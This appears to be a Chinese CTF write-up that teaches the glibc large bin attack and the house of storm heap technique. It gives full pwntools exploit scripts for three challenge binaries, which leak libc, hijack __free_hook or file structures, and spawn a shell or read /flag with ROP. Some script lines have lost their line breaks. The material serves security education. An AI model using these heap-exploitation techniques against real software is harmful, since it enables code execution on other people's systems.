本文主要是介绍large bin attack house of strom,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
large bin attack & house of strom
large bin attack是一种堆利用手法,而house of strom则是在large bin attack的基础上借用unsorted bin来达到任意地址分配,首先我们从源码入手来分析large bin attack原理,然后再讲讲house of strom的原理,接着再看几个题目。
为例方便分析,以2.23为例,新版本有tcache的情况类似,只需填满tcache bin绕过tcache即可。
在free的时候,chunk要么被放入fastbin,要么就被放到unsorted bin。当我们再次malloc的时候,如果对unsorted bin做了遍历,unsorted bin里的chunk才会被放到对应的bin里,比如large bin、small bin。比如我在unsorted bin里有一个size为0x420的chunk,那么它会被放到对应的large bin里。而large bin attack就是利用了unsorted bin里未归位的chunk插入到large bin时的解链、成链操作。来看一段malloc中的源码
- for (;; )
- {
- int iters = 0;
- while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) //遍历unsorted bin
- {
- bck = victim->bk;
- if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
- || __builtin_expect (victim->size > av->system_mem, 0))
- malloc_printerr (check_action, "malloc(): memory corruption",
- chunk2mem (victim), av);
- size = chunksize (victim); //获得当前unsorted bin chunk的大小
- ..........................
- if (in_smallbin_range (size))
- {
- victim_index = smallbin_index (size);
- bck = bin_at (av, victim_index);
- fwd = bck->fd;
- }
- else //属于large bin范围
- {
- victim_index = largebin_index (size); //根据size,得到对应的large bin索引
- bck = bin_at (av, victim_index); //获取对应索引的large bin里的最后一个chunk
- fwd = bck->fd; //获得对应索引的large bin的第一个chunk
- /* maintain large bins in sorted order */
- if (fwd != bck) //这意味着当前索引的large bin里chunk不为空
- {
- /* Or with inuse bit to speed comparisons */
- size |= PREV_INUSE;
- /* if smaller than smallest, bypass loop below */
- assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
- if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
- {
- fwd = bck;
- bck = bck->bk;
- victim->fd_nextsize = fwd->fd;
- victim->bk_nextsize = fwd->fd->bk_nextsize;
- fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
- }
- else
- {
- assert ((fwd->size & NON_MAIN_ARENA) == 0);
- while ((unsigned long) size < fwd->size)
- {
- fwd = fwd->fd_nextsize;
- assert ((fwd->size & NON_MAIN_ARENA) == 0);
- }
- if ((unsigned long) size == (unsigned long) fwd->size)
- /* Always insert in the second position. */
- fwd = fwd->fd;
- else
- {
- victim->fd_nextsize = fwd;
- victim->bk_nextsize = fwd->bk_nextsize; //fwd->bk_nextsize可控,因此victim->bk_nextsize可控
- fwd->bk_nextsize = victim;
- victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址
- }
- bck = fwd->bk; //bk也就是large bin的bk位置的数据,因此bck可控
- }
- }
- else
- victim->fd_nextsize = victim->bk_nextsize = victim;
- }
- mark_bin (av, victim_index);
- victim->bk = bck;
- victim->fd = fwd;
- fwd->bk = victim;
- bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址
- define MAX_ITERS 10000
- if (++iters >= MAX_ITERS)
- break;
- }
首先,victim就是unsorted bin chunk,也就在unsorted bin里未归位的large bin chunk。而fwd就是large bin的chunk。从上来看,首先,在unsorted bin里我们得有一个large bin chunk,并且在large bin里,我们也要有一个chunk,但是,我们得保证unsorted bin里的那个large bin chunk的size要比large bin里已有的这个chunk的size要大一点,但是都属于同一个index。
这样做的目的是我们想绕过前面的这一大块,直接到后面的那个else处。
然后,假设我们通过UAF或其他漏洞,控制了large bin里的这个chunk的bk_nextsize为addr1,那么victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址 也就是addr1->fd_nextsize = victim,也就是*(addr1+0x20) = victim,这就是第一次任意地址写一个堆地址;接下来,假如,我们还能控制large bin里那个chunk的bk为addr2,那么首先bck = fwd->bk; 使得bck = addr2,接下来bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址 也就是addr2->fd = victim,也就是*(addr2+0x10) = victim。这样利用large bin attack,我们可以有两次往任意地址写入堆地址的机会。下面,我们就来看一道题。
starctf_2019_heap_master
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
初始化
add函数
delete函数
edit函数
可以看到,这里面的edit,delete操作,都只是针对mmap出来的那片空间,而malloc出来的空间我们控制不了,无法写数据过去。也没有函数用于泄露。由此,我们可以使用large bin attack攻击IO_2_1_stdout结构体,第一次,将IO_2_1_stdout结构体的flags覆盖为堆地址,第二次利用错位将IO_2_1_stdout的_IO_write_base成员低1字节覆盖为0,这样就能泄露数据了。还有一点需要注意的是这个flags有要求
首先,我们需要绕过这两个if,这就要求低1字节的低4位不能为8,第二字节的低4位必须要为8,也就是,我们的unsorted bin chunk地址末尾地址应该为0x800这样
接下来,到达new_do_write,我们要让这个if成立
综上,我们的unsorted bin chunk的地址某位应该是这样的0x1800、0x3800、0x5800…这样的第二字节高4位为奇数即可,由于堆地址随机化,因此第二字节高4位我们不用管,随着堆的随机化总有一次符合要求。我们只需要满足低12bit即可,也就是,这个未归位的unsorted bin chunk,我们需要放到偏移0x800处。并且在最后,我们还需要再链入一个小的unsorted bin,不然我们执行了large bin attack后,在unsorted bin里还没找到符合申请大小的chunk,就会把large bin切割,导致崩溃。
- #伪造8个chunk
- #0
- edit(0,0x100,p64(0) + p64(0x421) + 'a'*0xF0)
- #1
- edit(0x420,0x20,p64(0) + p64(0x21) + 'b'*0x10)
- #2
- edit(0x440,0x20,p64(0) + p64(0x21) + 'b'*0x10)
- #3
- edit(0x880,0x100,p64(0) + p64(0x431) + 'c'*0xF0)
- #4
- edit(0xCB0,0x20,p64(0) + p64(0x21) + 'd'*0x10)
- #5
- edit(0xCD0,0x90,p64(0) + p64(0x91) + 'e'*0x80)
- #6
- edit(0xD60,0x20,p64(0) + p64(0x21) + 'f'*0x10)
- #7
- edit(0xD80,0x20,p64(0) + p64(0x21) + 'g'*0x10)
如上,0将放入large bin,而3将作为在unsorted bin里未归位的large bin chunk,5将链入unsorted bin作为large bin attack以后的申请用。这样攻击了IO_2_1_stdout以后,我们就得到了glibc地址,然后,我们就可以利用house of orange来getshell了。
#coding:utf8
from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']def add(size):sh.sendlineafter('>>','1')sh.sendlineafter('size:',str(size))def edit(offset,size,content):sh.sendlineafter('>>','2')sh.sendlineafter('offset:',str(offset))sh.sendlineafter('size:',str(size))sh.sendafter('content:',content)def delete(offset):sh.sendlineafter('>>','3')sh.sendlineafter('offset:',str(offset))def exploit():#伪造8个chunk#0edit(0,0x100,p64(0) + p64(0x421) + 'a'*0xF0)#1edit(0x420,0x20,p64(0) + p64(0x21) + 'b'*0x10)#2edit(0x440,0x20,p64(0) + p64(0x21) + 'b'*0x10)#3edit(0x880,0x100,p64(0) + p64(0x431) + 'c'*0xF0)#4edit(0xCB0,0x20,p64(0) + p64(0x21) + 'd'*0x10)#5edit(0xCD0,0x90,p64(0) + p64(0x91) + 'e'*0x80)#6edit(0xD60,0x20,p64(0) + p64(0x21) + 'f'*0x10)#7edit(0xD80,0x20,p64(0) + p64(0x21) + 'g'*0x10)#0进入unsored bindelete(0x10)#malloc_consolidate将0放入large binadd(0x430)#接下来,为了在bk和bk_nextsize处都有libc指针,我们要继续伪造unsorted bin#在bk_nextsize处留下libc指针edit(0x10,0xF0,p64(0) + p64(0x91) + 'a'*0x80 + (p64(0) + p64(0x21) + 'a'*0x10) * 3)delete(0x20)add(0x80) #把unsorted bin申请掉#在bk留下libc指针edit(0,0x10,p64(0) + p64(0xC1))delete(0x10)add(0xB0) #把unsorted bin申请掉#修改large bin的bk,指向stdoutedit(0x10,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s - 0x10) & 0xFFF)))#修改large bin的bk_nextsizeedit(0x20,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s + 0x20 - 0x20 - 0x7) & 0xFFF)))#恢复large bin的头sizeedit(0,0x10,p64(0) + p64(0x421))#3放入unsorted bin,3属于未归位的large bindelete(0x890)#0x90的堆放入unsorted bindelete(0xCE0)#遍历unsorted bin时发生large bin attack,攻击io_2_1_stdoutadd(0x80)sh.recv(1)sh.recv(0x18)libc_base = u64(sh.recv(8)) - libc.symbols['_IO_file_jumps']print 'libc_base=',hex(libc_base)if libc_base >> 40 != 0x7F:raise Exception('leak error')_IO_list_all_addr = libc_base + libc.symbols['_IO_list_all']system_addr = libc_base + libc.sym['system']binsh_addr = libc_base + libc.search('/bin/sh').next()_IO_str_finish_ptr_addr = libc_base + 0x3C37B0print '_IO_list_all_addr=',hex(_IO_list_all_addr)print '_IO_str_finish_ptr_addr=',hex(_IO_str_finish_ptr_addr)print 'system_addr=',hex(system_addr)print 'binsh_addr=',hex(binsh_addr)#house of orangefake_file = p64(0) + p64(0x61) #unsorted bin attackfake_file += p64(0) + p64(_IO_list_all_addr - 0x10)#_IO_write_base < _IO_write_ptrfake_file += p64(0) + p64(1)fake_file += p64(0) + p64(binsh_addr)fake_file = fake_file.ljust(0xC0,'\x00')fake_file += p64(0)*3fake_file += p64(_IO_str_finish_ptr_addr - 0x18) #vtablefake_file += p64(0)fake_file += p64(system_addr)delete(0xCE0) #unsorted binedit(0xCD0,len(fake_file),fake_file) #修改unsorted bin内容#getshelladd(1)while True:try:global sh#sh = process('./starctf_2019_heap_master')sh = remote('node3.buuoj.cn',29960)exploit()sh.interactive()except:sh.close()print 'trying...'
house of strom
理解了large bin attack,接下来,我们就可以来看house of strom了,house of strom可以实现任意地址分配,看看前面的这道题,我们是将一个合法的unsorted bin chunk链接到unsorted bin里未归位的large bin chunk的bk处,假设,我们将一个任意地址比如addr链接到unsorted bin里未归位的large bin chunk的bk处,然后执行large bin attack会发生什么。
那么,在large bin attack阶段不会有问题,只是接下来,继续遍历,取到我们链接上的这个chunk时,检查其size,不符合要求然后崩溃。我们可以利用前面的large bin attack,先将addr处的size的位置写上一个堆指针,我们可以利用错位法,这样,在size处留下了chunk地址值的第6字节数据,在开启PIE的情况下,一般为0x55为0x56,这样,我们malloc(0x40),遍历到第一个未归位的large bin chunk时,发生large bin attack,接下来遍历到后面这个任意地址的chunk时,发现size符合要求,直接返回给用户,就可以成功把这个任意地址的空间申请过来。
这就是house of strom的原理。
我们来看两道题
rctf_2019_babyheap
首先,检查一下程序的保护机制
沙箱禁用了execve调用,因此我们只能使用open、read、write来读flag
然后,我们用IDA分析一下,禁用fastbin,因此不能使用fastbin attack。
Edit功能存在null off by one漏洞。
Add功能里size比较自由
首先就是利用null off by one构造overlap chunk,然后利用malloc_consolidate将一个chunk放到large bin,另一个放到unsorted bin,然后利用overlap chunk去控制这两个bin的指针。然后malloc(0x48)触发large bin attack的同时将会把任意地址申请过来。
我们用house of strom申请到free_hook处,劫持free_hook为setcontext+xx处,这样就能将栈切换到堆里,我们提前在堆里布置好rop即可。
#coding:utf8
from pwn import *context(os='linux',arch='amd64')
#sh = process('./rctf_2019_babyheap')
sh = remote('node3.buuoj.cn',28529)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
setcontext_s = libc.sym['setcontext']
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']def add(size):sh.sendlineafter('Choice:','1')sh.sendlineafter('Size:',str(size))def edit(index,content):sh.sendlineafter('Choice:','2')sh.sendlineafter('Index:',str(index))sh.sendafter('Content:',content)def delete(index):sh.sendlineafter('Choice:','3')sh.sendlineafter('Index:',str(index))def show(index):sh.sendlineafter('Choice:','4')sh.sendlineafter('Index:',str(index))add(0xF0) #0
add(0x38) #1
add(0x3F0) #2 large bin chunk
add(0x10) #3
add(0xF0) #4
add(0x48) #5
add(0x3F0) #6 large bin chunk
add(0x100) #7delete(0)
#null off by one
edit(1,'a'*0x30 + p64(0x40 + 0x100))
delete(2)
add(0xF0) #0
show(1)
sh.recv(1)
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
setcontext_addr = libc_base + setcontext_s
write_addr = libc_base + write_s
open_addr = libc_base + open_s
read_addr = libc_base + read_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'setcontext_addr=',hex(setcontext_addr)
#将剩余部分申请,现在2与1重合
add(0x430) #2#继续用同样的方法,构造一个未归位的large bin,并且比前一个大一些,但是要保证处于同一个index内
delete(4)
edit(5,'b'*0x40 + p64(0x50 + 0x100))
delete(6)
add(0xF0) #4
#将剩余部分申请,5与6重合
add(0x440) #6
#2放入unsorted bin
delete(2)
#2放入large bin
add(0x500) #2
#6放入unsorted bin
delete(6)
#现在,堆布局是unsorted bin里一个未归位的large bin,large bin里有一个chunk,且unsorted bin里的比large bin里的大
#将free_hook_addr链接到unsorted bin chunk的bk
fake_chunk = free_hook_addr - 0x10
edit(5,p64(0) + p64(fake_chunk))
#控制large bin的bk_nextsize,目的是解链时向bk_nextsize->fd_nextsize写入一个堆地址,我们可以以此来伪造size
payload = p64(0) + p64(fake_chunk + 0x8) #bk,只需保证是一个可写的地址即可
payload += p64(0) + p64(fake_chunk - 0x18 - 0x5)
edit(1,payload)
##触发house of storm,申请到free_hook处
add(0x48) #6
#写free_hook,栈迁移到堆里
'''mov rsp, [rdi+0A0h]
...'''
rop = p64(0) + p64(pop_rsi) + p64(free_hook_addr + 0x40) + p64(pop_rdx) + p64(0x200) + p64(read_addr)
payload = p64(setcontext_addr + 0x35) + '\x00'*0x8
payload += rop
edit(6,payload)
#设置0xA0偏移处的值
edit(7,'a'*0xA0 + p64(free_hook_addr + 0x10) + p64(pop_rdi))
#栈迁移到free_hook_addr + 0x10,执行read,继续输入后续rop
delete(7)
flag_addr = free_hook_addr + 0x40 + 0x98
rop2 = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
rop2 += '/flag\x00'sleep(1)
sh.send(rop2)sh.interactive()
0ctf_2018_heapstorm2
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
存在一个null off by one漏洞,但是prev_size不可控。
由此,我们可以使用shrink unsorted bin的方法来构造overlap chunk。
Show功能需要满足条件才能使用
因此,我们需要利用house of strom申请到堆指针数组处,也就是0x13370800这个地址处,然后控制其里面的数据,使得我们能够调用show,进而泄露地址,然后通过edit去修改free_hook,从而getshell。
#coding:utf8
from pwn import *sh = process('./0ctf_2018_heapstorm2')
#sh = remote('node3.buuoj.cn',26323)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.sym['__malloc_hook']
free_hook_s = libc.sym['__free_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()def add(size):sh.sendlineafter('Command:','1')sh.sendlineafter('Size:',str(size))def edit(index,size,content):sh.sendlineafter('Command:','2')sh.sendlineafter('Index:',str(index))sh.sendlineafter('Size:',str(size))sh.sendafter('Content:',content)def delete(index):sh.sendlineafter('Command:','3')sh.sendlineafter('Index:',str(index))def show(index):sh.sendlineafter('Command:','4')sh.sendlineafter('Index:',str(index))add(0x18) #0
add(0x410) #1
add(0x80) #2
add(0x18) #3
add(0x420) #4
add(0x80) #5
add(0x10) #6#伪造chunk 1的尾部
edit(1,0x400,'b'*0x3F0 + p64(0x400) + p64(0x21))
#1放入unsorted bin
delete(1)
#null off by one shrink unsorted bin
edit(0,0x18-0xC,'a'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #1
add(0x360) #7
#1放入unsorted bin
delete(1)
#2向前合并
delete(2)
add(0x80) #1 将unsorted bin指针移动到下一个chunk
#将0x420的chunk申请出来,待会儿再放入large bin
add(0x410) #2
#我们用同样的方法来构造一个大一些的large bin
edit(4,0x400,'d'*0x3F0 + p64(0x400) + p64(0x31))
#4放入unsorted bin
delete(4)
#null off by one shrink unsorted bin
edit(3,0x18-0xC,'c'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #4
add(0x360) #8
#4放入unsorted bin
delete(4)
#5向前合并
delete(5)
add(0x80) #4
#将0x430的chunk申请出来,待会儿再放入unsorted bin
add(0x420) #5
#将2放入large bin,通过7我们可以large bin
delete(2)
add(0x500) #2
#5放入unsorted bin,通过8,我们可以控制一个未归位的large bin
delete(5)
#我们要分配到的目的地
fake_chunk = 0x0000000013370800 - 0x10
#控制unsorted bin相关指针
edit(8,0x10,p64(0) + p64(fake_chunk))
#控制large bin相关指针
edit(7,0x20,p64(0) + p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk - 0x18 -0x5))
add(0x48) #5
#通过5,我们可以控制整个堆指针数组了
edit(5,0x30,p64(0)*2 + p64(0x13377331) + p64(0) + p64(fake_chunk + 0x40) + p64(0x48))edit(0,0x10,p64(0x00000000133707F3) + p64(0x8))
#泄露堆地址
show(1)
sh.recvuntil('Chunk[1]: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露lib指针
edit(0,0x10,p64(heap_addr + 0x10) + p64(0x8))
show(1)
sh.recvuntil('Chunk[1]: ')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
edit(0,0x10,p64(free_hook_addr) + p64(0x8))
#写free_hook
edit(1,0x8,p64(system_addr))
edit(0,0x10,p64(binsh_addr) + p64(0x8))
#getshell
delete(1)sh.interactive()
这篇关于large bin attack house of strom的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!